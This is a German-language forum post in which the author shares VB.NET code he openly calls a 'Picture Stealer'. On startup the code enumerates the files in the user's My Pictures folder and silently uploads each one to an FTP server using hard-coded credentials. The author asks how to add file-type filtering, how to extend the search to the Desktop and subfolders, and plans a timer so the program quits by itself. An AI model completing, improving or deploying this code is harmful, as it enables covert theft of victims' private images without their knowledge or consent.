Jetzt muss ich nurnoch

Code:
If (fi.Extension = ".bmp" Or fi.Extension = ".jpg") Then
In meinen Code:

Code:
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        For Each foundFile As String In My.Computer.FileSystem.GetFiles _
(My.Computer.FileSystem.SpecialDirectories.MyPictures)
            ListBox1.Items.Add(foundFile)

        Next


        For Each Eintrag As String In ListBox1.Items
            Dim fi As New IO.FileInfo(Eintrag)
            My.Computer.Network.UploadFile(Eintrag, "ftp://ftp.meinftp.de" & "/" & fi.Name, "meinftplogin", "meinftppw")

        Next

    End Sub

End Class
Mit einbringen ...

Dann fehlen noch die beiden Funktionen das Programm nach einer gewissen zeit zu beenden was ich auch selber mit nem Timer machen kann.

Und mir fehlt der Direkt Pfad zu Eigene Dateien an der stelle:

Code:
(My.Computer.FileSystem.SpecialDirectories.MyPictures)
Oda vllt eine bessere Variante wäre MyPictures + Desktop und 2 Untergeordnete Ordner nach Bildern zu dürchforsten was dann aba möglicher weise eine menge funde gibt die dann hochgeladen werden müssten . Ich frage mich was die beste lösung für einen Picture Stealer wäre ...

MfG NavanBethrax